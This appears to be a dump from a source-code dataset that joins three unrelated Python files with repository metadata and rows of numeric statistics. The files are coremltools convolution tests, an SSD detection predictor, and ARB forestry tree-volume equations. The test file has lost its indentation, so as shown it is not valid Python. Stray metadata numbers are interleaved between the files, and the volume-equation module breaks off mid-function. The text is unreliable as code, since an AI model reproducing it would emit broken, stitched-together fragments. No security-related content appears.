coremltools/converters/mil/mil/ops/tests/test_conv.py
|
tonybove-apple/coremltools
|
22a8877beec7bad136ba5612d5aacd8e323ecdfc
|
[
"BSD-3-Clause"
] | 510
|
2017-10-04T19:22:28.000Z
|
2022-03-31T12:16:52.000Z
|
# Copyright (c) 2020, Apple Inc. All rights reserved.
#
# Use of this source code is governed by a BSD-3-clause license that can be
# found in the LICENSE.txt file or at https://opensource.org/licenses/BSD-3-Clause
from coremltools.converters.mil import testing_reqs
from coremltools.converters.mil.mil import get_new_symbol
from coremltools.converters.mil.testing_reqs import *
from .testing_utils import run_compare_builder
backends = testing_reqs.backends
class TestConvTranspose:
@pytest.mark.skipif(not testing_reqs._HAS_TORCH, reason="PyTorch not installed.")
@pytest.mark.parametrize(
",".join(
[
"use_cpu_only",
"backend",
"conv_dim",
"padding",
"DHWKdKhKw",
"stride",
"dilation",
"has_bias",
"groups",
"test_symbolic",
"test_output_shape",
]
),
itertools.product(
[True, False],
backends,
["conv1d", "conv2d", "conv3d"],
[(1, 2, 3), (2, 2, 2)],
[(7, 7, 7, 2, 2, 2), (10, 12, 14, 3, 2, 4)],
[(1, 1, 1), (2, 1, 2)],
[(1, 1, 1), (1, 2, 1)],
[True, False],
[1, 2],
[True, False],
[True, False],
),
)
def test_builder_to_backend_stress(
self,
use_cpu_only,
backend,
conv_dim,
padding,
DHWKdKhKw,
stride,
dilation,
has_bias,
groups,
test_symbolic,
test_output_shape,
):
if test_symbolic and test_output_shape:
# conv_transpose output_shape can only be constant (non-symbolic)
return
if backend[0] == "mlprogram" and groups == 2:
pytest.xfail("rdar://81999134 (ConvTranspose with group > 1 crashing on both CPU and GPU backend)")
D, H, W, Kd, Kh, Kw = DHWKdKhKw
N, C_in, C_out = 1, 1 * groups, 2 * groups
import torch
import torch.nn as nn
isDeconv1d = conv_dim == "conv1d"
isDeconv2d = conv_dim == "conv2d"
if isDeconv1d:
strides = [stride[0]]
dilations = [dilation[0]]
kernels = [Kh]
m = nn.ConvTranspose1d(
C_in,
C_out,
kernels,
stride=strides,
dilation=dilations,
bias=has_bias,
groups=groups,
padding=padding[0],
)
input_shape = [N, C_in, H]
paddings = [padding[0], padding[0]]
elif isDeconv2d:
strides = [stride[0], stride[1]]
dilations = [dilation[0], dilation[1]]
kernels = [Kh, Kw]
m = nn.ConvTranspose2d(
C_in,
C_out,
kernels,
stride=strides,
dilation=dilations,
bias=has_bias,
groups=groups,
padding=(padding[0], padding[1]),
)
input_shape = [N, C_in, H, W]
paddings = [padding[0], padding[0], padding[1], padding[1]]
else:
strides = [stride[0], stride[1], stride[2]]
dilations = [dilation[0], dilation[1], dilation[2]]
kernels = [Kd, Kh, Kw]
m = nn.ConvTranspose3d(
C_in,
C_out,
kernels,
stride=strides,
dilation=dilations,
bias=has_bias,
groups=groups,
padding=padding,
)
input_shape = [N, C_in, D, H, W]
paddings = [
padding[0],
padding[0],
padding[1],
padding[1],
padding[2],
padding[2],
]
wts = m.state_dict()
weight = wts["weight"].detach().numpy()
bias = wts["bias"].detach().numpy() if has_bias else None
input = torch.randn(*input_shape)
output = m(input)
output = output.detach().numpy()
input = input.detach().numpy()
output_shape = list(output.shape)
if test_symbolic:
# For symbolic input test
# Make Batch Size and input channel as symbolic
symbolic_batch_size = get_new_symbol()
input_shape[0] = symbolic_batch_size
output_shape[0] = symbolic_batch_size
expected_output_types = tuple(output_shape[:]) + (types.fp32,)
expected_outputs = [output]
input_placeholders = {"x": mb.placeholder(shape=input_shape)}
input_values = {"x": input}
def build(x):
arguments = {
"x": x,
"weight": weight,
"pad": paddings,
"pad_type": "custom",
"strides": strides,
"dilations": dilations,
"groups": groups,
}
if has_bias:
arguments["bias"] = bias
if test_output_shape:
arguments["output_shape"] = output.shape
return mb.conv_transpose(**arguments)
run_compare_builder(
build,
input_placeholders,
input_values,
expected_output_types,
expected_outputs,
use_cpu_only=use_cpu_only,
frontend_only=False,
backend=backend,
)
class TestConv:
@pytest.mark.skipif(not testing_reqs._HAS_TORCH, reason="PyTorch not installed.")
@pytest.mark.parametrize(
",".join(
[
"use_cpu_only",
"backend",
"conv_dim",
"padding",
"DHWKdKhKw",
"stride",
"dilation",
"has_bias",
"groups",
"symbolic",
]
),
itertools.product(
[True, False],
backends,
["conv1d", "conv2d", "conv3d"],
[(1, 1, 1), (2, 2, 2)],
[(5, 5, 5, 2, 2, 2), (10, 12, 14, 3, 2, 4)],
[(2, 2, 2), (2, 1, 1)],
[(1, 1, 1), (2, 1, 1)],
[True, False],
[1, 2],
[True, False],
),
)
def test_builder_to_backend_stress(
self,
use_cpu_only,
backend,
conv_dim,
padding,
DHWKdKhKw,
stride,
dilation,
has_bias,
groups,
symbolic,
):
D, H, W, Kd, Kh, Kw = DHWKdKhKw
N, C_in, C_out = 1, 1 * groups, 2 * groups
import torch
import torch.nn as nn
isConv1d = conv_dim == "conv1d"
isConv2d = conv_dim == "conv2d"
if isConv1d:
strides = [stride[0]]
dilations = [dilation[0]]
kernels = [Kh]
m = nn.Conv1d(
C_in,
C_out,
kernels,
stride=strides,
dilation=dilations,
bias=has_bias,
groups=groups,
padding=padding[0],
)
input_shape = [N, C_in, H]
paddings = [padding[0], padding[0]]
elif isConv2d:
strides = [stride[0], stride[1]]
dilations = [dilation[0], dilation[1]]
kernels = [Kh, Kw]
m = nn.Conv2d(
C_in,
C_out,
kernels,
stride=strides,
dilation=dilations,
bias=has_bias,
groups=groups,
padding=(padding[0], padding[1]),
)
input_shape = [N, C_in, H, W]
paddings = [padding[0], padding[0], padding[1], padding[1]]
else:
strides = [stride[0], stride[1], stride[2]]
dilations = [dilation[0], dilation[1], dilation[2]]
kernels = [Kd, Kh, Kw]
m = nn.Conv3d(
C_in,
C_out,
kernels,
stride=strides,
dilation=dilations,
bias=has_bias,
groups=groups,
padding=padding,
)
input_shape = [N, C_in, D, H, W]
paddings = [
padding[0],
padding[0],
padding[1],
padding[1],
padding[2],
padding[2],
]
wts = m.state_dict()
weight = wts["weight"].detach().numpy()
bias = wts["bias"].detach().numpy() if has_bias else None
# PyTorch and CoreML weight format is same
# PyTorch weight format: C_out, C_in, H, W
# MIL weight format: C_out, C_in, H, W
input = torch.randn(*input_shape)
output = m(input)
output = output.detach().numpy()
input = input.detach().numpy()
output_shape = list(output.shape)
if symbolic:
# For symbolic input test
# Make Batch Size and input channel as symbolic
symbolic_batch_size = get_new_symbol()
input_shape[0] = symbolic_batch_size
output_shape[0] = symbolic_batch_size
expected_output_types = tuple(output_shape[:]) + (types.fp32,)
expected_outputs = [output]
input_placeholders = {"x": mb.placeholder(shape=input_shape)}
input_values = {"x": input}
def build(x):
arguments = {
"x": x,
"weight": weight,
"pad": paddings,
"pad_type": "custom",
"strides": strides,
"dilations": dilations,
"groups": groups,
}
if has_bias:
arguments["bias"] = bias
return mb.conv(**arguments)
run_compare_builder(
build,
input_placeholders,
input_values,
expected_output_types,
expected_outputs,
use_cpu_only=use_cpu_only,
frontend_only=False,
backend=backend,
)
@pytest.mark.skip("<rdar://problem/53460668> Dynamic weights + bias not supported on GPU")
@pytest.mark.skipif(not testing_reqs._HAS_TORCH, reason="PyTorch not installed.")
@pytest.mark.parametrize(
",".join(
[
"use_cpu_only",
"backend",
"conv_dim",
"padding",
"DHWKdKhKw",
"stride",
"groups",
"symbolic",
"has_bias"
]
),
itertools.product(
[True, False],
backends,
["conv1d", "conv2d"],
[(1, 1, 1), (2, 2, 2)],
[(5, 5, 5, 2, 2, 2), (10, 12, 14, 3, 2, 4)],
[(1, 2, 1)],
[1, 2],
[True, False],
[True],
),
)
def test_builder_to_backend_stress_weights_input(
self,
use_cpu_only,
backend,
conv_dim,
padding,
DHWKdKhKw,
stride,
groups,
symbolic,
has_bias
):
D, H, W, Kd, Kh, Kw = DHWKdKhKw
N, C_in, C_out = 1, 1 * groups, 2 * groups
import torch
import torch.nn as nn
isConv1d = conv_dim == "conv1d"
isConv2d = conv_dim == "conv2d"
if isConv1d:
strides = [stride[0]]
kernels = [Kh]
m = nn.Conv1d(
C_in,
C_out,
kernels,
stride=strides,
bias=has_bias,
groups=groups,
padding=padding[0],
)
input_shape = [N, C_in, H]
paddings = [padding[0], padding[0]]
elif isConv2d:
strides = [stride[0], stride[1]]
kernels = [Kh, Kw]
m = nn.Conv2d(
C_in,
C_out,
kernels,
stride=strides,
groups=groups,
padding=(padding[0], padding[1]),
bias=has_bias,
)
input_shape = [N, C_in, H, W]
paddings = [padding[0], padding[0], padding[1], padding[1]]
wts = m.state_dict()
weight = wts["weight"].detach().numpy()
bias = wts["bias"].detach().numpy() if has_bias else None
# PyTorch and CoreML weight format is same
# PyTorch weight format: C_out, C_in, H, W
# MIL weight format: C_out, C_in, H, W
input = torch.randn(*input_shape)
output = m(input)
output = output.detach().numpy()
input = input.detach().numpy()
output_shape = list(output.shape)
if symbolic:
# For symbolic input test
# Make Batch Size and input channel as symbolic
symbolic_batch_size = get_new_symbol()
input_shape[0] = symbolic_batch_size
output_shape[0] = symbolic_batch_size
expected_output_types = tuple(output_shape[:]) + (types.fp32,)
expected_outputs = [output]
input_placeholders = {"x": mb.placeholder(shape=input_shape), "input_weight":mb.placeholder(shape=weight.shape)}
input_values = {"x": input, "input_weight": weight}
def build(x, input_weight):
arguments = {
"x": x,
"weight": input_weight,
"pad": paddings,
"pad_type": "custom",
"strides": strides,
"groups": groups,
}
if has_bias:
arguments["bias"] = bias
return mb.conv(**arguments)
run_compare_builder(
build,
input_placeholders,
input_values,
expected_output_types,
expected_outputs,
use_cpu_only=use_cpu_only,
frontend_only=False,
backend=backend,
)
@pytest.mark.parametrize(
"use_cpu_only, backend", itertools.product([True], backends, )
)
def test_conv_int_bias_fusion(self, use_cpu_only, backend):
"""
Test conv bias fusion when const input is of type int.
Expected behavior is that the bias const will be cast to the same dtype as the
weight during the fuse_conv_bias pass, otherwise mb.conv() will raise an error.
Input graph:
Const(int type)
|
V
input -----> convolution -----> add/sub ---> out
Output graph:
input -----> convolution -----> out
"""
weight = np.array([2.5], dtype=np.float32).reshape([1, 1, 1, 1])
def build(x):
x = mb.conv(x=x, weight=weight)
bias = mb.const(val=[10])
return mb.add(x=x, y=bias)
input = np.array([1, 2, 3, 4], dtype=np.float32).reshape((1, 1, 2, 2))
output = np.array([12.5, 15.0, 17.5, 20.0], dtype=np.float32).reshape((1, 1, 2, 2))
expected_output_types = output.shape + (types.fp32,)
expected_outputs = [output]
input_placeholders = {"x": mb.placeholder(shape=input.shape)}
input_values = {"x": input}
run_compare_builder(
build,
input_placeholders,
input_values,
expected_output_types,
expected_outputs,
use_cpu_only=use_cpu_only,
frontend_only=False,
backend=backend,
)
| 30.235632
| 120
| 0.470253
| 1,608
| 15,783
| 4.449627
| 0.129975
| 0.006429
| 0.022362
| 0.010762
| 0.801537
| 0.789937
| 0.781132
| 0.765339
| 0.752201
| 0.737806
| 0
| 0.030759
| 0.419122
| 15,783
| 521
| 121
| 30.293666
| 0.749673
| 0.074257
| 0
| 0.814645
| 0
| 0
| 0.055245
| 0.001724
| 0
| 0
| 0
| 0
| 0
| 1
| 0.018307
| false
| 0
| 0.022883
| 0
| 0.057208
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d5fc5cb9970165479b03da5367fae7ed09459668
| 9,262
|
py
|
Python
|
eva_storage/baselines/indexing/external/ssd/vision/ssd/predictor.py
|
jaehobang/Eva
|
e7f649990b8bca3bc29b3832c0ecf32efb402647
|
[
"Apache-2.0"
] | null | null | null |
eva_storage/baselines/indexing/external/ssd/vision/ssd/predictor.py
|
jaehobang/Eva
|
e7f649990b8bca3bc29b3832c0ecf32efb402647
|
[
"Apache-2.0"
] | null | null | null |
eva_storage/baselines/indexing/external/ssd/vision/ssd/predictor.py
|
jaehobang/Eva
|
e7f649990b8bca3bc29b3832c0ecf32efb402647
|
[
"Apache-2.0"
] | null | null | null |
import torch
from ..utils import box_utils
from .data_preprocessing import PredictionTransform
from ..utils.misc import Timer
class Predictor:
def __init__(self, net, size, mean=0.0, std=1.0, nms_method=None,
iou_threshold=0.45, filter_threshold=0.01, candidate_size=200, sigma=0.5, device=None):
self.net = net
self.transform = PredictionTransform(size, mean, std)
self.iou_threshold = iou_threshold
self.filter_threshold = filter_threshold
self.candidate_size = candidate_size
self.nms_method = nms_method
self.sigma = sigma
if device:
self.device = device
else:
self.device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
self.net.to(self.device)
self.net.eval()
self.timer = Timer()
def predict4evaluation(self, image, top_k = -1, prob_threshold = None):
"""
This function was written 3/11 to adapt to the modifications in the network
It will be used for evaluation purposes
Function that is used with evaluate_ssd
The boxes that are generated should be in a center format....
We also have to make sure the output is not multiplied by size.. because test_transform makes box coordinates percentage
:param image:
:param top_k:
:param prob_threshold:
:return:
"""
cpu_device = torch.device("cpu")
height, width, _ = image.shape
image = self.transform(image)
images = image.unsqueeze(0)
images = images.to(self.device)
with torch.no_grad():
self.timer.start()
scores, boxes = self.net.forward(images)
print("Inference time: ", self.timer.end())
boxes = boxes[0]
scores = scores[0]
if not prob_threshold:
prob_threshold = self.filter_threshold
# this version of nms is slower on GPU, so we move data to CPU.
boxes = boxes.to(cpu_device)
scores = scores.to(cpu_device)
picked_box_probs = []
picked_labels = []
for class_index in range(0, scores.size(1)):
probs = scores[:, class_index]
mask = probs > prob_threshold
probs = probs[mask]
if probs.size(0) == 0:
continue
subset_boxes = boxes[mask, :]
box_probs = torch.cat([subset_boxes, probs.reshape(-1, 1)], dim=1)
box_probs = box_utils.nms(box_probs, self.nms_method,
score_threshold=prob_threshold,
iou_threshold=self.iou_threshold,
sigma=self.sigma,
top_k=top_k,
candidate_size=self.candidate_size)
## convert generated box probabilities to corner coordinates from center coordinates
## center coordinates will be the result from the network
print(f"printing box probs: {box_probs}")
box_probs_tmp = box_utils.center_form_to_corner_form(box_probs[:,:4])
print(box_probs_tmp.shape)
print(box_probs[:,4].shape)
box_probs = torch.cat([box_probs_tmp, box_probs[:,4].reshape(-1, 1)], dim = 1)
picked_box_probs.append(box_probs)
picked_labels.extend([class_index] * box_probs.size(0))
if not picked_box_probs:
return torch.tensor([]), torch.tensor([]), torch.tensor([])
picked_box_probs = torch.cat(picked_box_probs)
##new_picked_boxes_probs = box_utils.center_form_to_corner_form(picked_box_probs[:, :4])
## first of all, in order for the lines below to work, the numbers have to fall between 0 and 1.
# But, from what I am seeing, this is not the case..............
"""
TODO: The lines below are modified but need to be made sure that it makes sense
picked_box_probs[:, 0] *= width
picked_box_probs[:, 1] *= height
picked_box_probs[:, 2] *= width
picked_box_probs[:, 3] *= height
"""
return picked_box_probs[:, :4], torch.tensor(picked_labels), picked_box_probs[:, 4]
def predict_modified(self, image, top_k = -1, prob_threshold = None):
"""
Function that is used with evaluate_ssd
The boxes that are generated should be in a center format....
We also have to make sure the output is not multiplied by size.. because test_transform makes box coordinates percentage
:param image:
:param top_k:
:param prob_threshold:
:return:
"""
cpu_device = torch.device("cpu")
height, width, _ = image.shape
image = self.transform(image)
images = image.unsqueeze(0)
images = images.to(self.device)
with torch.no_grad():
self.timer.start()
scores, boxes = self.net.forward(images)
print("Inference time: ", self.timer.end())
boxes = boxes[0]
scores = scores[0]
if not prob_threshold:
prob_threshold = self.filter_threshold
# this version of nms is slower on GPU, so we move data to CPU.
boxes = boxes.to(cpu_device)
scores = scores.to(cpu_device)
picked_box_probs = []
picked_labels = []
for class_index in range(0, scores.size(1)):
probs = scores[:, class_index]
mask = probs > prob_threshold
probs = probs[mask]
if probs.size(0) == 0:
continue
subset_boxes = boxes[mask, :]
box_probs = torch.cat([subset_boxes, probs.reshape(-1, 1)], dim=1)
box_probs = box_utils.nms(box_probs, self.nms_method,
score_threshold=prob_threshold,
iou_threshold=self.iou_threshold,
sigma=self.sigma,
top_k=top_k,
candidate_size=self.candidate_size)
picked_box_probs.append(box_probs)
picked_labels.extend([class_index] * box_probs.size(0))
if not picked_box_probs:
return torch.tensor([]), torch.tensor([]), torch.tensor([])
picked_box_probs = torch.cat(picked_box_probs)
##new_picked_boxes_probs = box_utils.center_form_to_corner_form(picked_box_probs[:, :4])
## first of all, in order for the lines below to work, the numbers have to fall between 0 and 1.
# But, from what I am seeing, this is not the case..............
"""
TODO: The lines below are modified but need to be made sure that it makes sense
picked_box_probs[:, 0] *= width
picked_box_probs[:, 1] *= height
picked_box_probs[:, 2] *= width
picked_box_probs[:, 3] *= height
"""
return picked_box_probs[:, :4], torch.tensor(picked_labels), picked_box_probs[:, 4]
def predict(self, image, top_k=-1, prob_threshold=None):
#print("------inside predict------")
cpu_device = torch.device("cpu")
height, width, _ = image.shape
image = self.transform(image)
images = image.unsqueeze(0)
images = images.to(self.device)
with torch.no_grad():
self.timer.start()
scores, boxes = self.net.forward(images)
print("Inference time: ", self.timer.end())
boxes = boxes[0]
scores = scores[0]
if not prob_threshold:
prob_threshold = self.filter_threshold
# this version of nms is slower on GPU, so we move data to CPU.
boxes = boxes.to(cpu_device)
scores = scores.to(cpu_device)
picked_box_probs = []
picked_labels = []
for class_index in range(0, scores.size(1)):
probs = scores[:, class_index]
mask = probs > prob_threshold
probs = probs[mask]
if probs.size(0) == 0:
continue
subset_boxes = boxes[mask, :]
box_probs = torch.cat([subset_boxes, probs.reshape(-1, 1)], dim=1)
box_probs = box_utils.nms(box_probs, self.nms_method,
score_threshold=prob_threshold,
iou_threshold=self.iou_threshold,
sigma=self.sigma,
top_k=top_k,
candidate_size=self.candidate_size)
picked_box_probs.append(box_probs)
picked_labels.extend([class_index] * box_probs.size(0))
if not picked_box_probs:
return torch.tensor([]), torch.tensor([]), torch.tensor([])
picked_box_probs = torch.cat(picked_box_probs)
#print(picked_box_probs)
picked_box_probs[:, 0] *= width
picked_box_probs[:, 1] *= height
picked_box_probs[:, 2] *= width
picked_box_probs[:, 3] *= height
#print(picked_box_probs)
#print("------end of predict------")
return picked_box_probs[:, :4], torch.tensor(picked_labels), picked_box_probs[:, 4]
| 41.909502
| 128
| 0.575794
| 1,138
| 9,262
| 4.47891
| 0.143234
| 0.095743
| 0.101628
| 0.023543
| 0.808711
| 0.80616
| 0.80616
| 0.800275
| 0.782029
| 0.782029
| 0
| 0.013718
| 0.323148
| 9,262
| 220
| 129
| 42.1
| 0.79933
| 0.173937
| 0
| 0.770833
| 0
| 0
| 0.013973
| 0
| 0
| 0
| 0
| 0.009091
| 0
| 1
| 0.027778
| false
| 0
| 0.027778
| 0
| 0.104167
| 0.041667
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
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| 1
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0
| 7
|
e69944971faa534116829ae068eec2d122ff2722
| 92,018
|
py
|
Python
|
arb_carbon/equations/volume.py
|
Ecotrust/ARBcarbon
|
110f0d009fa6bb57d3667ebe6d414adbed2e87ab
|
[
"BSD-3-Clause"
] | 5
|
2020-02-28T12:58:26.000Z
|
2021-09-15T06:15:34.000Z
|
arb_carbon/equations/volume.py
|
Ecotrust/ARBcarbon
|
110f0d009fa6bb57d3667ebe6d414adbed2e87ab
|
[
"BSD-3-Clause"
] | 24
|
2016-05-13T17:55:22.000Z
|
2021-11-09T15:18:56.000Z
|
arb_carbon/equations/volume.py
|
Ecotrust/ARBcarbon
|
110f0d009fa6bb57d3667ebe6d414adbed2e87ab
|
[
"BSD-3-Clause"
] | 4
|
2016-09-08T21:10:15.000Z
|
2020-02-28T12:58:30.000Z
|
"""Allometric equations required by the California Air Resources Board (ARB) to
calculate tree volumes for forest carbon projects located in California,
Oregon, or Washington
These equations were described in a PDF on the ARB website:
http://www.arb.ca.gov/cc/capandtrade/protocols/usforest/usforestprojects_2015.htm
These volume equations were accessed on May 11, 2016, and downloaded as a PDF:
http://www.arb.ca.gov/cc/capandtrade/protocols/usforest/2015/volume.equations.ca.or.wa.pdf
The functions in this module have been adapted from the original equation forms
to employ vectorized computation for faster execution when processing large
sets of trees. Non-vectorized versions are retained for comparative and testing
purposes.
"""
import numpy as np
class VolumeEquation(object):
"""A generic template for tree volume equations. Specific volume equations
should be implemented as child classes, and have any formulas defined as
methods for that class.
"""
# TARIF NUMBER
def calc_tarif(self, dbh, ht):
"""Tarif number is the cubic foot volume of a tree with a basal area of
1 square foot and a given height. Trees with lots of taper have low
tarif numbers; trees with high tarif numbers have a minimum of taper.
"""
raise NotImplementedError(
'This calculation is not implemented for this species.')
# CUBIC VOLUME METRICS
def calc_cvts(self, dbh, ht):
"""Cubic foot volume, including tree top and stump.
Parameters
----------
dbh : numeric or array of numerics
diameter at breast height, in inches
ht : numeric or array of numerics
total tree height, in feet
"""
raise NotImplementedError(
'This calculation is not implemented for this species.')
def calc_cvt(self, dbh, ht):
"""Cubic foot volume above stump, including top.
Parameters
----------
dbh : numeric or array of numerics
diameter at breast height, in inches
ht : numeric or array of numerics
total tree height, in feet
"""
raise NotImplementedError(
'This calculation is not implemented for this species.')
def calc_cv4(self, dbh, ht):
"""Cubic foot volume above stump, to 4-inch top.
Parameters
----------
dbh : numeric or array of numerics
diameter at breast height, in inches
ht : numeric or array of numerics
total tree height, in feet
"""
raise NotImplementedError(
'This calculation is not implemented for this species.')
def calc_cv6(self, dbh, ht):
"""Cubic foot volume, to 6-inch top (sawlog).
Parameters
----------
dbh : numeric or array of numerics
diameter at breast height, in inches
ht : numeric or array of numerics
total tree height, in feet
"""
raise NotImplementedError(
'This calculation is not implemented for this species.')
def calc_cv8(self, dbh, ht):
"""Cubic foot volume, to 8-inch top (sawlog).
Parameters
----------
dbh : numeric or array of numerics
diameter at breast height, in inches
ht : numeric or array of numerics
total tree height, in feet
"""
raise NotImplementedError(
'This calculation is not implemented for this species.')
# BOARDFOOT VOLUME METRICS
def calc_sv616(self, dbh, ht):
"""Scribner boardfoot volume to 6-inch top with 16-foot logs.
Parameters
----------
dbh : numeric or array of numerics
diameter at breast height, in inches
ht : numeric or array of numerics
total tree height, in feet
"""
raise NotImplementedError(
'This calculation is not implemented for this species.')
def calc_sv632(self, dbh, ht):
"""Scribner boardfoot volume to 6-inch top with 32-foot logs.
Parameters
----------
dbh : numeric or array of numerics
diameter at breast height, in inches
ht : numeric or array of numerics
total tree height, in feet
"""
raise NotImplementedError(
'This calculation is not implemented for this species.')
def calc_xint6(self, dbh, ht):
"""International 1/4-inch boardfoot volume to 6-inch top with 16-foot
logs.
Parameters
----------
dbh : numeric or array of numerics
diameter at breast height, in inches
ht : numeric or array of numerics
total tree height, in feet
"""
raise NotImplementedError(
'This calculation is not implemented for this species.')
def calc_sv816(self, dbh, ht):
"""Scribner boardfoot volume to 8-inch top with 16-foot logs.
Parameters
----------
dbh : numeric or array of numerics
diameter at breast height, in inches
ht : numeric or array of numerics
total tree height, in feet
"""
raise NotImplementedError(
'This calculation is not implemented for this species.')
def calc_xint8(self, dbh, ht):
"""International 1/4-inch boardfoot volume to 8-inch top with 8-foot
logs.
Parameters
----------
dbh : numeric or array of numerics
diameter at breast height, in inches
ht : numeric or array of numerics
total tree height, in feet
"""
raise NotImplementedError(
'This calculation is not implemented for this species.')
def calc_vol(self, dbh, ht, metric='CVTS'):
"""Calculates volume (or tarif number) for a user-specified volume
metric.
Parameters
----------
dbh : numeric or array of numerics
diameter at breast height, in inches
ht : numeric or array of numerics
total tree height, in feet
metric : str
volume metric to calculate
Available options for metric are:
====== ============
Metric Description
====== ============
CVTS Cubic foot volume, including top and stump
CVT Cubic foot volume above stump
CV4 Cubic foot volume above stump to 4-inch top
CV6 Cubic foot volume above stump to 6-inch top
CV8 Cubic foot volume above stump to 8-inch top
TARIF Tarif number
SV616 Scribner boardfoot volume to 6-inch top with 16-foot logs
SV632 Scribner boardfoot volume to 6-inch top with 32-foot logs
SV816 Scribner boardfoot volume to 8-inch top with 16-foot logs
XINT6 International 1/4-inch boardfoot volume to 6-inch top with
16-foot logs
XINT8 International 1/4-inch boardfoot volume to 8-inch top with
16-foot logs
====== ============
"""
AVAILABLE_METRICS = [
'CVTS', 'TARIF', 'CVT', 'CV4', 'CV6', 'CV8', 'SV616', 'SV816',
'SV632', 'XINT6', 'XINT8'
]
metric = metric.upper()
if metric not in AVAILABLE_METRICS:
raise ValueError(
"Unrecognized metric provided. Must be one of: {}".format(
', '.join(AVAILABLE_METRICS)))
dbh = np.atleast_1d(dbh)
ht = np.atleast_1d(ht)
if metric == 'CVTS':
return self.calc_cvts(dbh, ht)
elif metric == 'TARIF':
return self.calc_tarif(dbh, ht)
elif metric == 'CVT':
return self.calc_cvt(dbh, ht)
elif metric == 'CV4':
return self.calc_cv4(dbh, ht)
elif metric == 'CV6':
return self.calc_cv6(dbh, ht)
elif metric == 'CV8':
return self.calc_cv8(dbh, ht)
elif metric == 'SV616':
return self.calc_sv616(dbh, ht)
elif metric == 'SV816':
return self.calc_sv816(dbh, ht)
elif metric == 'SV632':
return self.calc_sv632(dbh, ht)
elif metric == 'XINT6':
return self.calc_xint6(dbh, ht)
elif metric == 'XINT8':
return self.calc_xint8(dbh, ht)
class SoftwoodVolumeEquation(VolumeEquation):
def calc_cv6(self, dbh, ht):
rc6 = 0.993 - (0.993 * 0.62**(dbh - 6.0))
cv4 = self.calc_cv4(dbh, ht)
cv6 = np.where((rc6 * cv4) > cv4, cv4, rc6 * cv4)
return cv6
def calc_sv616(self, dbh, ht):
cv6 = self.calc_cv6(dbh, ht)
tarif = self.calc_tarif(dbh, ht)
tarif = np.clip(tarif, 0.01, None)
b4 = tarif / 0.912733
rs616l = 0.174439 + 0.117594 * np.log10(dbh) * np.log10(
b4) - 8.210585 / dbh**2 + 0.236693 * np.log10(b4) - 0.00001345 * (
b4**2) - 0.00001937 * dbh**2
rs616 = 10.0**rs616l
sv616 = np.clip(rs616 * cv6, 0, None)
return sv616
def calc_sv632(self, dbh, ht):
tarif = self.calc_tarif(dbh, ht)
tarif = np.clip(tarif, 0.01, None)
sv616 = self.calc_sv616(dbh, ht)
rs632 = 1.001491 - 6.924097 / tarif + 0.00001351 * dbh**2
sv632 = np.clip(rs632 * sv616, 0, None)
return sv632
def calc_xint6(self, dbh, ht):
tarif = self.calc_tarif(dbh, ht)
cv6 = self.calc_cv6(dbh, ht)
ri6 = -2.904154 + 3.466328 * np.log10(
dbh * tarif
) - 0.02765985 * dbh - 0.00008205 * tarif**2 + 11.29598 / dbh**2
xint6 = np.clip(ri6 * cv6, 0, None)
return xint6
class HardwoodVolumeEquation(VolumeEquation):
def calc_tarifx(self, dbh, ht):
raise NotImplementedError(
'This calculation is not implemented for this species.')
def calc_cv4x(self, dbh, ht):
raise NotImplementedError(
'This calculation is not implemented for this species.')
def calc_cv6(self, dbh, ht):
cv4x = self.calc_cv4x(dbh, ht)
rc6 = 0.993 - 0.993 * 0.62**(dbh - 6.0)
cv6 = np.clip(rc6 * cv4x, 0, None)
return cv6
def calc_sv616(self, dbh, ht):
tarifx = self.calc_tarifx(dbh, ht)
cv6 = self.calc_cv6(dbh, ht)
b4 = tarifx / 0.912733
rs616l = 0.174439 + 0.117594 * np.log10(
b4) - 8.210585 / dbh**2 + 0.236693 * np.log10(
b4) - 0.00001345 * b4**2 - 0.00001937 * dbh**2
rs616 = 10.0**rs616l
sv616 = np.clip(rs616 * cv6, 0, None)
return sv616
def calc_sv816(self, dbh, ht):
sv616 = self.calc_sv616(dbh, ht)
rs816 = 0.990 - 0.58 * (0.484**(dbh - 9.5))
sv816 = np.clip(rs816 * sv616, 0, None)
return sv816
def calc_xint6(self, dbh, ht):
tarifx = self.calc_tarifx(dbh, ht)
cv6 = self.calc_cv6(dbh, ht)
ri6 = -2.904154 + 3.466328 * np.log10(
dbh * tarifx
) - 0.02765985 * dbh - 0.00008205 * tarifx**2 + 11.29598 / dbh**2
xint6 = np.clip(ri6 * cv6, 0, None)
return xint6
def calc_xint8(self, dbh, ht):
xint6 = self.calc_xint6(dbh, ht)
ri8 = 0.990 - 0.55 * (0.485**(dbh - 9.5))
xint8 = np.clip(xint6 * ri8, 0, None)
return xint8
class HardwoodVolumeEquation_NoX(HardwoodVolumeEquation):
def calc_cv4x(self, dbh, ht):
cvt = self.calc_cvt(dbh, ht)
cv4x = cvt * (0.99875 - 43.336 / dbh**3 - 124.717 / dbh**4
+ 0.193437 * ht / dbh**3 + 479.83 / (dbh**3 * ht))
return cv4x
def calc_tarifx(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cv8 = self.calc_cv8(dbh, ht)
tarifx = cv8 * 0.912733 / (0.983 - 0.983 * 0.65**(dbh - 8.6) * ba
- 0.087266)
return tarifx
class HardwoodVolumeEquation_WithX(HardwoodVolumeEquation):
def calc_cv4x(self, dbh, ht):
return self.calc_cvt(dbh, ht)
def calc_tarifx(self, dbh, ht):
return self.calc_tarif(dbh, ht)
class Eq_1(SoftwoodVolumeEquation):
"""Douglas-fir (WEYERHAUSER-DNR RPT #24, 1977)
Brackett, M. 1973. Notes on tarif tree volume computation. Res. Management
Report 24. WA Dept. of Nat. Resources. Olympia. 26p.
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -3.21809 + 0.04948 * np.log10(ht) * np.log10(dbh) - 0.15664 * (
np.log10(dbh))**2 + 2.02132 * np.log10(dbh) + 1.63408 * np.log10(
ht) - 0.16185 * (np.log10(ht))**2
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
